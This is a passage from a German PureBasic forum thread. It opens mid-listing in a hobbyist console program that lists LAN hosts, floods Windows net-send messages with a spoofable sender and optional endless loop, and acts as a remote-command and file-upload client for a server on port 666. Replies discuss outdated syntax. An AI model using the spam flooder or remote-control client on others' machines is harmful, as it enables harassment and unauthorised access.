      EndIf
    EndIf
  Else
    PrintN("Netzwerk kann nicht initialisiert werden!")
  EndIf
  ProcedureReturn TheIPAdress
EndProcedure

Procedure GetLANList()
  IPResult.s
  se101.SERVER_INFO_101
  nStructSize = SizeOf(SERVER_INFO_101)
  RetCode = NetServerEnum_(0, 101, @bufptr, #MAX_PREFERRED_LENGTH, @dwEntriesread, @dwTotalentries, #SV_TYPE_ALL, 0, @dwResumehandle)
  If RetCode = #NERR_SUCCESS And RetCode <> #ERROR_MORE_DATA
    For i = 0 To dwEntriesread - 1
      CopyMemory( bufptr + (nStructSize * i),@se101, nStructSize)
      Buffer.s=Space(512)
      Result=WideCharToMultiByte_(#CP_ACP ,0,se101\lpszServerName,255,@Buffer.s,512,0,0)
      IPResult = GetIPbyName (Buffer)
      PrintN(IPResult)
    Next
  Else
    PrintN("Fehler!")
  EndIf
  NetApiBufferFree_(bufptr)
EndProcedure

Procedure timeout(a,connectionid)
  StartTimer=GetTickCount_()
  timeout=a
  Repeat
    newtick=GetTickCount_()
    If newtick=StartTimer+timeout
      timeout=1
      Goto ende
    EndIf
  Until NetworkClientEvent(connectionid)=2
  timeout=0
  ende:
  ProcedureReturn timeout
EndProcedure

Procedure timeouterr()
  PrintN("")
  PrintN("SERVER TIMEOUT")
  PrintN("Keine Antwort vom Server empfangen.")
  PrintN("Verbindung getrennt.")
EndProcedure

Procedure.s ReceiveNetworkString(connectionid)
  Buffer=AllocateMemory(0,255,0)
  ReceiveNetworkData(connectionid,Buffer,255)
  String.s=PeekS(Buffer)
  FreeMemory(0)
  ProcedureReturn String.s
EndProcedure

#VERSION="0.1.9.3.5 Alpha"
#CLIENTVERSION="0.2.6.8.5 Beta"
OpenConsole()
ClearConsole()
PrintN("Ultimate Network And Remote Control Program by Butcher")
PrintN("------------------------------------------------------")
mainmenu:
ConsoleTitle("UNARCP "+#VERSION+" by Butchermaster")
PrintN("")
Print("<UNARCP>")
choice$=Input()
If FindString(choice$,"connect",1)=1
  Goto connecttoserver
EndIf
If choice$="list"
  Gosub lanlist
EndIf
If FindString(choice$,"netsend",1)=1
  Gosub netsend
EndIf
If FindString(choice$,"msgspam",1)=1
  Gosub msgspam
EndIf
If choice$="clear"
  ClearConsole()
EndIf
If choice$="version"
  Gosub versioninfo
EndIf
If choice$="help"
  Gosub mainhilfe
EndIf
If choice$="exit"
  Goto beenden
EndIf
choice$=""
Goto mainmenu

msgspam:
If FindString(choice$,"-m",1)>0
  PrintN("")
  PrintN("Anzahl der Ziele?")
  ziele$=Input()
  ziele=Val(ziele$)
  If ziele$=""
    PrintN("")
    PrintN("Anzahl muss angegeben werden!")
    PrintN("")
    Return
  EndIf
  If ziele=0 Or ziele<0 Or ziele>4 Or ziele<2
    PrintN("")
    PrintN("Ungültige Eingabe!")
    PrintN("")
    Return
  EndIf
  PrintN("")
  PrintN("Ziel 1?")
  ziel$=Input()
  If ziel$=""
    PrintN("")
    PrintN("Eingabe ungültig!")
    PrintN("")
    Return
  EndIf
  PrintN("")
  PrintN("Ziel 2?")
  ziel2$=Input()
  If ziel2$=""
    PrintN("")
    PrintN("Eingabe ungültig!")
    PrintN("")
    Return
  EndIf
  If ziele=3
    PrintN("")
    PrintN("Ziel 3?")
    ziel1$=Input()
    If ziel3$=""
      PrintN("")
      PrintN("Eingabe ungültig!")
      PrintN("")
      Return
    EndIf
  EndIf
  If ziele=4
    PrintN("")
    PrintN("Ziel 4?")
    ziel1$=Input()
    If ziel4$=""
      PrintN("")
      PrintN("Eingabe ungültig!")
      PrintN("")
      Return
    EndIf
  EndIf
EndIf
If ziel$=""
  PrintN("")
  PrintN("Ziel?")
  ziel$=Input()
  If ziel$=""
    PrintN("")
    PrintN("Ziel muss angegeben werden!")
    PrintN("")
    Return
  EndIf
EndIf
PrintN("")
PrintN("Absender? (Wenn leer lokaler Computername)")
absender$=Input()
If absender$=""
  absender$=GetLocalSystemName()
EndIf
PrintN("")
PrintN("Nachricht?")
nachricht$=Input()
If nachricht$=""
  PrintN("")
  PrintN("Nachricht muss angegeben werden!")
  PrintN("")
  Return
EndIf
PrintN("")
PrintN("Sendeintervall in ms? (Wenn leer oder '0' dann so schnell, wie möglich.)")
intervall$=Input()
If intervall$="" Or intervall$="0"
  intervall=0
EndIf
intervall=Val(intervall$)
If intervall>1000 Or intervall<0
  PrintN("")
  PrintN("Eingabe ungültig!")
  PrintN("")
  Return
EndIf
PrintN("")
PrintN("Anzahl der zu sendenden Nachrichten?")
anzahl$=Input()
anzahl=Val(anzahl$)
If anzahl=0
  PrintN("")
  PrintN("Wert ungültig!")
  PrintN("")
EndIf
If anzahl<0
  loopy=1
EndIf
PrintN("")
Print("Jetzt starten? (J/N)")
choice$=Input()
If choice$="J" Or choice$="j"
  InitKeyboard()
  Count=0
  PrintN("")
  PrintN("Spamme...")
  If loopy=1
    PrintN("Endlosschleife...")
  EndIf
  PrintN("ABBRUCH MIT BELIEBIGER TASTE!")
  Delay(1000)
  Repeat
    view_progress(Count,loopy)
    ExamineKeyboard()
    NTSendMessage(absender$,ziel$,nachricht$)
    Delay(intervall)
    Count=Count+1
  Until count=anzahl Or KeyboardPushed(#PB_KEY_ALL)>0
  count$=Str(count)
  PrintN("")
  PrintN(count$+" von "+anzahl$+" Nachrichten gesendet!")
  PrintN("")
  Return
EndIf
If choice$="N" Or choice$="n"
  PrintN("")
  PrintN("Abgebrochen!")
  PrintN("")
  Return
EndIf
PrintN("")
PrintN("Ungültige Eingabe!")
PrintN("")
Return

netsend:
If FindString(choice$,"netsend",1)=1
  If FindString(choice$,"-m",1)>0
    multiple=1
  EndIf
  PrintN("")
  PrintN("Ziel?")
  ziel$=Input()
  If ziel$=""
    PrintN("")
    PrintN("Ziel muss angegeben werden!")
    PrintN("")
    Return
  EndIf
  PrintN("")
  PrintN("Absender? (Wenn leer lokaler Computername)")
  absender$=Input()
  If absender$=""
    absender$=GetLocalSystemName()
  EndIf
  multiple:
  PrintN("")
  PrintN("Nachricht? (Wenn '-m' dann 'quit' zum Beenden)")
  nachricht$=Input()
  If multiple=1
    If nachricht$="quit"
      Return
    EndIf
  EndIf
  If nachricht$=""
    PrintN("")
    PrintN("Nachrichtentext muss angegeben werden!")
    PrintN("")
    Return
  EndIf
  PrintN("")
  NTSendMessage(absender$,ziel$,nachricht$)
  PrintN("Nachricht an "+ziel$+" gesendet!")
  PrintN("")
  If multiple=1
    Goto multiple
  EndIf
  multiple=0
  absender$=""
  nachricht$=""
EndIf
Return

lanlist:
PrintN("")
PrintN("Dursuche Netzwerk...")
PrintN("localhost")
GetLANList()
PrintN("Ende der Liste.")
PrintN("")
Return

beenden:
End

mainhilfe:
PrintN("")
PrintN("UNARCP-Mainmenu-Befehle")
PrintN("-----------------------")
PrintN("clear")
PrintN("connect PARAMS: [IP]")
PrintN("exit")
PrintN("list")
PrintN("msgspam PARAMS: -m")
PrintN("netsend PARAMS: -m")
PrintN("version")
PrintN("")
Return

versioninfo:
PrintN("")
PrintN("Ultimate Network And Remote Control Program by ")
PrintN("------------------------------------------------------------")
PrintN("UNARCP Version "+#VERSION+" by ")
PrintN("URCP-Client Version "+#CLIENTVERSION+" by ")
PrintN("")
Return

connecttoserver:
If InitNetwork()=0
  PrintN("")
  PrintN("Netzwerk konnte nicht initialisiert werden!")
  PrintN("")
  Goto  mainmenu
EndIf
If FindString(choice$,"connect",1)=1
  ip$=Mid(choice$,9,15)
EndIf
If ip$=""
  PrintN("")
  PrintN("IP muss angegeben werden!")
  PrintN("")
  Goto mainmenu
EndIf
connectionid=OpenNetworkConnection(ip$,666)
If connectionid=0
  PrintN("")
  PrintN("Es konnte keine Verbindung zum URCP-Server aufgebaut werden!")
  PrintN("Entweder war die IP falsch und/oder auf dem angegebenen Host ist")
  PrintN("kein URCP-Server installiert.")
  PrintN("")
  Goto mainmenu
EndIf
ConsoleTitle("URCP-Client Version "+#CLIENTVERSION+" - Verbunden mit "+ip$)
buffer=AllocateMemory(0,1024,0)
ReceiveNetworkData(connectionid,buffer,1024)
welcome1$=PeekS(buffer)
FreeMemory(0)
PrintN("")
PrintN(welcome1$)
Buffer=AllocateMemory(0,1024,0)
ReceiveNetworkData(connectionid,Buffer,1024)
welcome2$=PeekS(Buffer)
FreeMemory(0)
PrintN(welcome2$)
PrintN("")
rshell:
PrintN("")
Print("<UNARCP/URCP@"+ip$+">")
cmd$=Input()
If cmd$=""
  Goto rshell
EndIf
If cmd$="clear"
  ClearConsole()
  Goto rshell
EndIf
SendNetworkString(connectionid,cmd$)
If FindString(cmd$,"cp2srv",1)=1
  file$=Mid(cmd$,8,255)
  PrintN("")
  PrintN("Ziel auf Host?")
  dest$=Input()
  SendNetworkString(connectionid,dest$)
  Repeat
  Until NetworkClientEvent(connectionid)=2
  SendNetworkString(connectionid,file$)
  Repeat
  Until NetworkClientEvent(connectionid)=2
  PrintN("Sende Datei "+file$+" an "+ip$+"\"+dest$)
  SendNetworkFile(connectionid,file$)
  If timeout(10000,connectionid)
    timeouterr()
    Goto mainmenu
  Else
    PrintN("")
    PrintN("Server hat die Datei empfangen!")
    file$=""
    dest$=""
  EndIf
  Goto rshell
EndIf
If cmd$="disconnect"
  CloseNetworkConnection(connectionid)
  ClearConsole()
  PrintN("Abgemeldet.")
  PrintN("Verbindung zu "+ip$+" getrennt!")
  Goto mainmenu
EndIf
If cmd$="killsrv"
  Buffer=AllocateMemory(0,1024,0)
  ReceiveNetworkData(connectionid,Buffer,1024)
  string$=PeekS(Buffer)
  FreeMemory(0)
  If string$="1"
    PrintN("")
    PrintN("Befehl auf "+ip$+" ausgeführt!")
    PrintN("URCP-Server ("+ip$+") wurde beendet!")
    Goto mainmenu
  Else
    PrintN("")
    PrintN("Keine Antwort empfangen. Server ist entweder vorher beendet worden oder fehlerhaft!")
    Goto mainmenu
  EndIf
EndIf
If timeout(10000,connectionid)
  ClearConsole()
  timeouterr()
  Goto mainmenu
Else
  string$=ReceiveNetworkString(connectionid)
EndIf
If string$="0"
  PrintN("")
  PrintN("Befehl auf Server unbekannt oder die Verbindung zum Server ist unterbrochen!")
  string$=""
EndIf
If string$="1"
  PrintN("")
  PrintN("Befehl auf "+ip$+" ausgefuehrt!")
  string$=""
EndIf
If string$="2"
  PrintN("")
  PrintN("Bei der Ausführung ist ein Fehler aufgetreten!")
  string$=""
EndIf
If string$="3"
  PrintN("")
  PrintN("Server ist im Schleifenmodus übergegangen!")
  PrintN("Währenddessen kann der Server keine anderen Befehle entgegen nehmen.")
  PrintN("Zum Beenden der Schleife beliebige Zeichen eingeben und senden...")
  string$=""
EndIf
If string$="4"
  PrintN("")
  PrintN("Server hat Schleife verlassen und ist Bereit!")
  string$=""
EndIf
If string$="5"
  PrintN("")
  Repeat
    Buffer=AllocateMemory(0,1024,0)
    ReceiveNetworkData(connectionid,Buffer,1024)
    txt$=PeekS(Buffer)
    FreeMemory(0)
    PrintN(txt$)
    If txt$="7"
      InitKeyboard()
      PrintN("")
      PrintN("Beliebige Taste drücken, um fortzusetzen...")
      Repeat
        ExamineKeyboard()
      Until KeyboardPushed(#PB_Key_All)>0
      Delay(250)
      ClearConsole()
      SendNetworkString(connectionid,"1")
      Delay(1)
    EndIf
  Until txt$="6"
  string$=""
  txt$=""
EndIf
string$=""
Goto rshell
Edit by NicTheQuick: Code eingerückt
Benutzeravatar
NicTheQuick
Ein Admin
Beiträge: 8679
Registriert: 29.08.2004 20:20
Computerausstattung: Ryzen 7 5800X, 32 GB DDR4-3200
Ubuntu 22.04.3 LTS
GeForce RTX 3080 Ti
Wohnort: Saarbrücken
Kontaktdaten:

Beitrag von NicTheQuick »

Nunja, ersteinmal wäre es von Vorteil, wenn man den Code an die aktuelle PB-Version anpassen würde. Denn [c]AllocateMemory()[/c] mit drei Parametern gibt es schon länger nicht mehr.
Bild
Benutzeravatar
Lars
Beiträge: 347
Registriert: 31.08.2004 23:53
Wohnort: Shanghai
Kontaktdaten:

Beitrag von Lars »

Und dann könnte das hier ins richtige Forum verschoben werden, Nic :wink:
Lars
The only problem with troubleshooting is, that sometimes the trouble shoots back.
P4 2,6Ghz, 512MB RAM, GeForce 6200, WinXP Pro SP2, PB V3.94
Benutzeravatar
NicTheQuick
Ein Admin
Beiträge: 8679
Registriert: 29.08.2004 20:20
Computerausstattung: Ryzen 7 5800X, 32 GB DDR4-3200
Ubuntu 22.04.3 LTS
GeForce RTX 3080 Ti
Wohnort: Saarbrücken
Kontaktdaten:

Beitrag von NicTheQuick »

Das Forum stimmt schon. Schließlich will er, dass ihm jemand hilft das Projekt weiterzuführen und Bugs zu beheben.
Bild
Benutzeravatar
Lars
Beiträge: 347
Registriert: 31.08.2004 23:53
Wohnort: Shanghai
Kontaktdaten:

Beitrag von Lars »

Na dann haben wir wohl unterschiedliche Interpretationen für seinen
Beitrag. Wie auch immer, dann kann ja jetzt zum Thema zurückgekehrt
werden :)
Lars
The only problem with troubleshooting is, that sometimes the trouble shoots back.
P4 2,6Ghz, 512MB RAM, GeForce 6200, WinXP Pro SP2, PB V3.94
pcnerd
Beiträge: 7
Registriert: 30.09.2004 17:42

Beitrag von pcnerd »

Ihr habt recht! Ich muss nämlich notgedrungen PureBasic 3.3 nutzen. Ich bin nämlich auf die Version von Topos reingefallen, die sich NICHT updaten lässt.
Benutzeravatar
Zaphod
Beiträge: 2875
Registriert: 29.08.2004 00:40

Beitrag von Zaphod »

für die kann man die update option hinzukaufen.
Antworten